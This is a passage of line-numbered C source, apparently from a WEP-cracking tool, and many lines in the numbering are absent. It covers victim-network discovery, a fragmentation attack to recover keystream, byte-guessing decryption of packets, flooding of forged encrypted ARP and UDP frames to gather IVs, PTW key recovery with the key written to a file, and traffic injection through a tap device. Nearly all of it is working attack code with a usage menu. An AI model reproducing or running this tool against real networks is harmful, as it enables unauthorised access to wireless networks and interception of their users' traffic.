1649 stuff_for_net(wh, rd);
1654 void do_arp(unsigned char* buf, unsigned short op,
1655 unsigned char* m1, unsigned char* i1,
1656 unsigned char* m2, unsigned char* i2) {
1661 unsigned char* data;
1663 inet_aton(i1, &sip);
1664 inet_aton(i2, &dip);
1665 h = (struct arphdr*) buf;
1667 memset(h, 0, sizeof(*h));
1669 h->ar_hrd = htons(ARPHRD_ETHER);
1670 h->ar_pro = htons(ETHERTYPE_IP);
1673 h->ar_op = htons(op);
1675 data = (unsigned char*) h + sizeof(*h);
1677 memcpy(data, m1, 6);
1679 memcpy(data, &sip, 4);
1682 memcpy(data, m2, 6);
1684 memcpy(data, &dip, 4);
1688 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1689 unsigned char buf[4096];
1690 struct ieee80211_frame* wh;
1691 unsigned char* body;
1694 unsigned long *pcrc;
1696 unsigned short* seq;
1697 unsigned short sn, fn;
1699 wh = (struct ieee80211_frame*) buf;
1700 memcpy(wh, &fs->wh, sizeof(*wh));
1702 body = (unsigned char*) wh + sizeof(*wh);
1703 memcpy(body, &pi->iv, 3);
1705 *body++ = 0; // key index
1707 fragsize = fs->data + fs->len - fs->ptr;
1709 assert(fragsize > 0);
1711 if ( (fragsize + 4) > pi->len) {
1712 fragsize = pi->len - 4;
1713 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1717 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1720 memcpy(body, fs->ptr, fragsize);
1722 crc = crc32(0L, Z_NULL, 0);
1723 crc = crc32(crc, body, fragsize);
1724 pcrc = (unsigned long*) (body+fragsize);
1727 for (i = 0; i < (fragsize + 4); i++)
1728 body[i] ^= pi->prga[i];
1730 seq = (unsigned short*) &wh->i_seq;
1731 sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1732 fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1733 // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1735 send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1737 seq = (unsigned short*) &fs->wh.i_seq;
1738 *seq = fnseq(++fn, sn);
1739 fs->ptr += fragsize;
1741 if (fs->ptr - fs->data == fs->len) {
1742 // printf("Finished sending frags...\n");
1743 fs->waiting_relay = 1;
1747 void prepare_fragstate(struct frag_state* fs, int pad) {
1748 fs->waiting_relay = 0;
1749 fs->len = 8 + 8 + 20 + pad;
1750 fs->data = (unsigned char*) malloc(fs->len);
1759 do_llc(fs->data, ETHERTYPE_ARP);
1760 do_arp(&fs->data[8], ARPOP_REQUEST,
1762 "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1764 memset(&fs->wh, 0, sizeof(fs->wh));
1765 fill_basic(&fs->wh);
1767 memset(fs->wh.i_addr3, 0xff, 6);
1768 fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1769 fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1770 IEEE80211_FC1_MORE_FRAG |
1773 memset(&fs->data[8+8+20], 0, pad);
1776 void discover_prga(int tx) {
1779 if (!fragstate.data) {
1782 if (prgainfo.len >= 20)
1783 pad = prgainfo.len*3;
1785 prepare_fragstate(&fragstate, pad);
1788 if (!fragstate.waiting_relay) {
1789 send_fragment(tx, &fragstate, &prgainfo);
1790 if (fragstate.waiting_relay) {
1791 if (gettimeofday(&fragstate.last, NULL) == -1)
1792 err(1, "gettimeofday()");
1797 void decrypt(int tx) {
1800 if (!decryptstate.fragstate.data) {
1801 prepare_fragstate(&decryptstate.fragstate, 0);
1803 memcpy(decryptstate.fragstate.wh.i_addr3,
1806 decryptstate.fragstate.wh.i_addr3[5] =
1807 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1809 decryptstate.prgainfo.len++;
1812 // guess diff prga byte...
1813 if (decryptstate.fragstate.waiting_relay) {
1814 unsigned short* seq;
1815 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1818 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1819 printf("Can't decrpyt!\n");
1823 decryptstate.fragstate.wh.i_addr3[5] =
1824 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1826 decryptstate.fragstate.waiting_relay = 0;
1827 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1829 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1830 *seq = fnseq(0, txstate.psent);
1833 send_fragment(tx, &decryptstate.fragstate,
1834 &decryptstate.prgainfo);
1837 void flood_inet(tx) {
1838 static int send_arp = -1;
1839 static unsigned char arp_pkt[128];
1841 static unsigned char udp_pkt[128];
1843 static struct timeval last_ip;
1845 // need to init packets...
1846 if (send_arp == -1) {
1847 unsigned char* body;
1849 struct ieee80211_frame* wh;
1853 memset(arp_pkt, 0, sizeof(arp_pkt));
1854 memset(udp_pkt, 0, sizeof(udp_pkt));
1857 wh = (struct ieee80211_frame*) arp_pkt;
1860 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1861 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1862 memset(wh->i_addr3, 0xff, 6);
1864 body = (unsigned char*) wh + sizeof(*wh);
1868 do_llc(ptr, ETHERTYPE_ARP);
1870 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1871 "\x00\x00\x00\x00\x00\x00", netip);
1873 wepify(body, 8+8+20);
1874 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1875 assert(arp_len < sizeof(arp_pkt));
1879 wh = (struct ieee80211_frame*) udp_pkt;
1882 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1883 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1884 memcpy(wh->i_addr3, rtrmac, 6);
1886 body = (unsigned char*) wh + sizeof(*wh);
1890 do_llc(ptr, ETHERTYPE_IP);
1893 ih = (struct ip*) ptr;
1897 ih->ip_len = htons(20+8+5);
1898 ih->ip_id = htons(666);
1901 ih->ip_p = IPPROTO_UDP;
1904 inet_aton(myip, &ih->ip_src);
1905 inet_aton(floodip, &ih->ip_dst);
1907 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1910 uh = (struct udphdr*) ptr;
1911 uh->uh_sport = htons(floodsport);
1912 uh->uh_dport = htons(floodport);
1913 uh->uh_ulen = htons(8+5);
1917 strcpy(ptr, "sorbo");
1919 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1922 wepify(body, 8+20+8+5);
1923 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1924 assert(udp_len < sizeof(udp_pkt));
1929 memset(&last_ip, 0, sizeof(last_ip));
1932 if (send_arp == 1) {
1936 if (gettimeofday(&now, NULL) == -1) {
1937 perror("gettimeofday()");
1941 sec = now.tv_sec - last_ip.tv_sec;
1946 send_frame(tx, arp_pkt, arp_len);
1950 else if (send_arp == 0) {
1951 if (gettimeofday(&last_ip, NULL) == -1) {
1952 perror("gettimeofday()");
1956 send_frame(tx, udp_pkt, udp_len);
1961 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1962 unsigned char* srcmac, unsigned char* dstip,
1963 unsigned char* dstmac) {
1965 static unsigned char arp_pkt[128];
1966 unsigned char* body;
1968 struct ieee80211_frame* wh;
1971 memset(arp_pkt, 0, sizeof(arp_pkt));
1974 wh = (struct ieee80211_frame*) arp_pkt;
1977 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1978 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1979 memset(wh->i_addr3, 0xff, 6);
1981 body = (unsigned char*) wh + sizeof(*wh);
1985 do_llc(ptr, ETHERTYPE_ARP);
1987 do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1989 wepify(body, 8+8+20);
1990 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1991 assert(arp_len < sizeof(arp_pkt));
1993 send_frame(tx, arp_pkt, arp_len);
1996 void can_write(int tx) {
1997 static char arp_ip[16];
2002 state = SENDING_AUTH;
2007 state = SENDING_ASSOC;
2011 if (prgainfo.prga && prgainfo.len < min_prga) {
2016 if (decryptstate.cipher) {
2025 send_frame(tx, taptx, taptx_len);
2030 // try to find rtr mac addr
2031 if (netip && !rtrmac) {
2034 strcpy(arp_ip, netip);
2036 ptr = strchr(arp_ip, '.');
2038 ptr = strchr(++ptr, '.');
2040 ptr = strchr(++ptr, '.');
2045 if (gettimeofday(&arpsend, NULL) == -1)
2046 err(1, "gettimeofday()");
2048 time_print("Sending arp request for: %s\n", arp_ip);
2049 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2050 arp_ip, "\x00\x00\x00\x00\x00\x00");
2053 rtrmac = (unsigned char*)1;
2057 // need to generate traffic...
2058 if (rtrmac > (unsigned char*)1 && netip) {
2062 // XXX lame technique... anyway... im
2063 // only interested in flood_inet...
2065 // could ping broadcast....
2066 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2067 arp_ip, "\x00\x00\x00\x00\x00\x00");
2077 void save_key(unsigned char *key, int len)
2084 assert(len*3 < sizeof(k));
2088 sprintf(tmp, "%.2X", *key++);
2094 fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
2098 printf("\nKey: %s\n", k);
2099 rd = write(fd, k, strlen(k));
2102 if (rd != strlen(k))
2103 errx(1, "write %d/%d\n", rd, strlen(k));
2107 #define KEYLIMIT (1000000)
2110 unsigned char key[PTW_KEYHSBYTES];
2112 if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2116 if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2127 time_print("Warning... previous crack still running!\n");
2132 if (fsync(weplog.fd) == -1)
2138 if (crack_pid == -1)
2142 if (crack_pid == 0) {
2144 printf("\nCrack unsuccessful\n");
2150 time_print("Starting crack PID=%d\n", crack_pid);
2151 if (gettimeofday(&crack_start, NULL) == -1)
2152 err(1, "gettimeofday");
2155 wep_thresh += thresh_incr;
2164 tapfd = open(TAP_DEV, O_RDWR);
2166 printf("Can't open tap: %s\n", strerror(errno));
2169 if(fstat(tapfd, &st) == -1) {
2175 strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2177 s = socket(PF_INET, SOCK_DGRAM, 0);
2184 memset(&ifr, 0, sizeof(ifr));
2185 strcpy(ifr.ifr_name, tapdev);
2187 if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2188 perror("ioctl(SIOCSIFMTU)");
2193 memset(&ifr, 0, sizeof(ifr));
2194 strcpy(ifr.ifr_name, tapdev);
2195 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2196 perror("ioctl(SIOCGIFFLAGS)");
2200 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2203 memset(&ifr, 0, sizeof(ifr));
2204 strcpy(ifr.ifr_name, tapdev);
2205 ifr.ifr_flags = flags & 0xffff;
2206 ifr.ifr_flagshigh = flags >> 16;
2207 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2208 perror("ioctl(SIOCSIFFLAGS)");
2213 time_print("Opened tap device: %s\n", tapdev);
2217 unsigned char buf[4096];
2218 struct ether_header* eh;
2219 struct ieee80211_frame* wh;
2221 unsigned char* ptr, *body;
2224 rd = read(tapfd, buf, sizeof(buf));
2229 dlen = rd - sizeof(*eh);
2233 if (dlen+8 > prgainfo.len) {
2235 // XXX lame message...
2236 time_print("Sorry... want to send %d but only got %d prga\n",
2237 dlen, prgainfo.len);
2244 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2245 // XXX could not read instead and get rid of it in select...
2248 assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2250 eh = (struct ether_header*) buf;
2252 wh = (struct ieee80211_frame*) taptx;
2253 memset(wh, 0, sizeof(*wh));
2256 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2257 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2259 memcpy(wh->i_addr2, eh->ether_shost, 6);
2260 memcpy(wh->i_addr3, eh->ether_dhost, 6);
2262 body = (unsigned char*) wh + sizeof(*wh);
2266 do_llc(ptr, ntohs(eh->ether_type));
2269 memcpy(ptr, &buf[sizeof(*eh)], dlen);
2271 wepify(body, 8+dlen);
2272 taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2274 assert (taptx_len < sizeof(taptx));
2277 int elapsedd(struct timeval *past, struct timeval *now)
2281 el = now->tv_sec - past->tv_sec;
2284 el = now->tv_usec - past->tv_usec;
2286 el = (el - 1)*1000*1000;
2287 el += 1000*1000-past->tv_usec;
2294 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2296 #define BIT(n) (1<<(n))
2297 struct bpf_hdr *bpfh;
2298 struct ieee80211_radiotap_header *rth;
2302 static int nocrc = 0;
2307 bpfh = (struct bpf_hdr*) (*data);
2308 assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2309 *totlen -= bpfh->bh_hdrlen;
2311 /* check if more packets */
2312 if ((int)bpfh->bh_caplen < *totlen) {
2313 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2314 int offset = BPF_WORDALIGN(tot);
2316 *data = (char*)bpfh + offset;
2317 *totlen -= offset - tot; /* take into account align bytes */
2318 } else if ((int)bpfh->bh_caplen > *totlen)
2321 *plen = bpfh->bh_caplen;
2322 *totlen -= bpfh->bh_caplen;
2323 assert(*totlen >= 0);
2326 rth = (struct ieee80211_radiotap_header*)
2327 ((char*)bpfh + bpfh->bh_hdrlen);
2328 /* XXX cache; drivers won't change this per-packet */
2329 /* check if FCS/CRC is included in packet */
2330 present = le32toh(rth->it_present);
2331 if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2332 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2333 rflags = ((const uint8_t *)rth)[8];
2335 rflags = ((const uint8_t *)rth)[0];
2338 *plen -= rth->it_len;
2342 if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2343 *plen -= IEEE80211_CRC_LEN;
2347 ptr = (char*)rth + rth->it_len;
2353 static int read_packet(int fd, unsigned char *dst, int len)
2355 static unsigned char buf[4096];
2356 static int totlen = 0;
2357 static unsigned char *next = buf;
2363 /* need to read more */
2365 totlen = read(fd, buf, sizeof(buf));
2373 /* read 802.11 packet */
2374 pkt = get_80211(&next, &totlen, &plen);
2378 memcpy(dst, pkt, plen);
2383 void own(int wifd) {
2384 unsigned char buf[4096];
2388 char *pbar = "/-\\|";
2389 char *pbarp = &pbar[0];
2390 struct timeval lasthop;
2392 unsigned int last_wep_count = 0;
2393 struct timeval last_wcount;
2394 struct timeval last_status;
2398 weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2399 if (weplog.fd == -1) {
2400 struct pcap_file_header pfh;
2402 memset(&pfh, 0, sizeof(pfh));
2403 pfh.magic = TCPDUMP_MAGIC;
2404 pfh.version_major = PCAP_VERSION_MAJOR;
2405 pfh.version_minor = PCAP_VERSION_MINOR;
2408 pfh.snaplen = 65535;
2409 pfh.linktype = LINKTYPE_IEEE802_11;
2411 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2412 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2413 if (weplog.fd != -1) {
2414 if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2419 time_print("WARNING: Appending in %s\n", WEP_FILE);
2422 if (weplog.fd == -1) {
2427 fd = open(PRGA_FILE, O_RDONLY);
2429 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2430 rd = read(fd, buf, sizeof(buf));
2436 set_prga(buf, NULL, &buf[3], rd - 3);
2442 fd = open(DICT_PATH, O_RDONLY);
2444 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2445 if (mkdir (DICT_PATH, 0755) == -1) {
2454 set_if_mac(mymac, tapdev);
2455 time_print("Set tap MAC to: %s\n", mac2str(mymac));
2462 if (signal(SIGINT, &cleanup) == SIG_ERR) {
2466 if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2471 time_print("Looking for a victim...\n");
2472 if (gettimeofday(&lasthop, NULL) == -1) {
2473 perror("gettimeofday()");
2477 memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2478 memcpy(&last_status, &lasthop, sizeof(last_status));
2481 if (gettimeofday(&now, NULL) == -1) {
2482 perror("gettimeofday()");
2486 /* check for relay timeout */
2487 if (fragstate.waiting_relay) {
2490 el = now.tv_sec - fragstate.last.tv_sec;
2493 el = now.tv_usec - fragstate.last.tv_usec;
2498 el += 1000*1000 - fragstate.last.tv_usec;
2501 if (el > (1500*1000)) {
2502 // printf("\nLAMER timeout\n\n");
2503 free(fragstate.data);
2509 /* check for arp timeout */
2510 if (rtrmac == (unsigned char*) 1) {
2513 el = elapsedd(&arpsend, &now);
2514 if (el >= (1500*1000)) {
2520 if ( (now.tv_sec > last_status.tv_sec ) ||
2521 ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2522 if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2525 if (netip && prgainfo.len >= min_prga &&
2526 rtrmac > (unsigned char*) 1) {
2527 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
2528 weplog.packets, wep_thresh,
2529 weplog.iv[0], weplog.iv[1], weplog.iv[2],
2534 if (state == FIND_VICTIM)
2535 time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2536 else if (decryptstate.cipher) {
2537 int pos = decryptstate.prgainfo.len - 1;
2538 unsigned char prga = decryptstate.prgainfo.prga[pos];
2541 time_print("Guessing PRGA %.2x (IP byte=%d) \r",
2542 prga, decryptstate.cipher[pos] ^ prga);
2545 time_print("%c\r", *pbarp);
2548 memcpy(&last_status, &now,sizeof(last_status));
2551 // check if we are cracking
2553 if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2557 // check TX / retransmit
2558 if (txstate.waiting_ack) {
2559 unsigned int elapsed = now.tv_sec -
2560 txstate.tsent.tv_sec;
2561 elapsed *= 1000*1000;
2562 elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2564 if (elapsed >= ack_timeout)
2565 send_frame(wifd, NULL, -1);
2572 FD_SET(tapfd, &rfd);
2574 tv.tv_usec = 1000*10;
2575 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2584 if (FD_ISSET(wifd, &rfd)) {
2585 rd = read_packet(wifd, buf, sizeof(buf));
2597 anal(buf, rd, wifd);
2601 if (FD_ISSET(tapfd, &rfd)) {
2606 // check state and what we do next.
2607 if (state == FIND_VICTIM) {
2608 if (now.tv_sec > lasthop.tv_sec ||
2609 ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2610 int chan = chaninfo.chan;
2617 memcpy(&lasthop, &now, sizeof(lasthop));
2620 // check if we need to write something...
2621 if (!txstate.waiting_ack)
2626 #ifdef MORE_ACCURATE
2627 if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2628 unsigned int elapsed;
2630 int packetz = weplog.packets - last_wep_count;
2631 elapsed = 1000*1000;
2633 elapsed -= last_wcount.tv_usec;
2635 assert(elapsed >= 0);
2636 elapsed += now.tv_usec;
2638 secs = now.tv_sec - last_wcount.tv_sec;
2641 elapsed += (secs*1000*1000);
2644 ((double)packetz/(elapsed/1000.0/1000.0));
2646 if ( now.tv_sec > last_wcount.tv_sec) {
2647 weplog.rate = weplog.packets - last_wep_count;
2649 last_wep_count = weplog.packets;
2650 memcpy(&last_wcount, &now, sizeof(now));
2652 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2659 void start(char *dev) {
2664 fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2666 ptw = PTW_newattackstate();
2668 err(1, "PTW_newattackstate()");
2677 for (i = 0; i < 10; i++) {
2678 gettimeofday(&tv, NULL);
2682 printf("%lu\n", tv.tv_usec);
2690 void usage(char* pname) {
2691 printf("Usage: %s <opts>\n", pname);
2692 printf("-h\t\tthis lame message\n");
2693 printf("-i\t\t<iface>\n");
2694 printf("-s\t\t<flood server ip>\n");
2695 printf("-m\t\t<my ip>\n");
2696 printf("-n\t\t<net ip>\n");
2697 printf("-r\t\t<rtr mac>\n");
2698 printf("-a\t\t<mymac>\n");
2699 printf("-c\t\tdo not crack\n");
2700 printf("-p\t\t<min prga>\n");
2701 printf("-4\t\t64 bit key\n");
2702 printf("-v\t\tvictim mac\n");
2703 printf("-t\t\t<crack thresh>\n");
2704 printf("-f\t\t<max chan>\n");
2708 void str2mac(unsigned char* dst, unsigned char* mac) {
2709 unsigned int macf[6];
2712 if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2713 &macf[0], &macf[1], &macf[2],
2714 &macf[3], &macf[4], &macf[5]) != 6) {
2716 printf("can't parse mac %s\n", mac);
2720 for (i = 0; i < 6; i++)
2721 *dst++ = (unsigned char) macf[i];
2724 int main(int argc, char *argv[]) {
2725 unsigned char* dev = "ath0";
2726 unsigned char rtr[6];
2727 unsigned char vic[6];
2731 if (gettimeofday(&real_start, NULL) == -1) {
2732 perror("gettimeofday()");
2740 memset(&txstate, 0, sizeof(txstate));
2741 memset(&fragstate, 0, sizeof(fragstate));
2742 memset(&decryptstate, 0, sizeof(decryptstate));
2743 memset(&weplog, 0, sizeof(weplog));
2745 state = FIND_VICTIM;
2747 while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2750 str2mac(mymac, optarg);
2762 strncpy(myip, optarg, sizeof(myip)-1);
2763 myip[sizeof(myip)-1] = 0;
2772 str2mac(rtr, optarg);
2777 str2mac(vic, optarg);
2786 min_prga = atoi(optarg);
2790 thresh_incr = wep_thresh = atoi(optarg);
2794 max_chan = atoi(optarg);
2809 if(chaninfo.s != -1)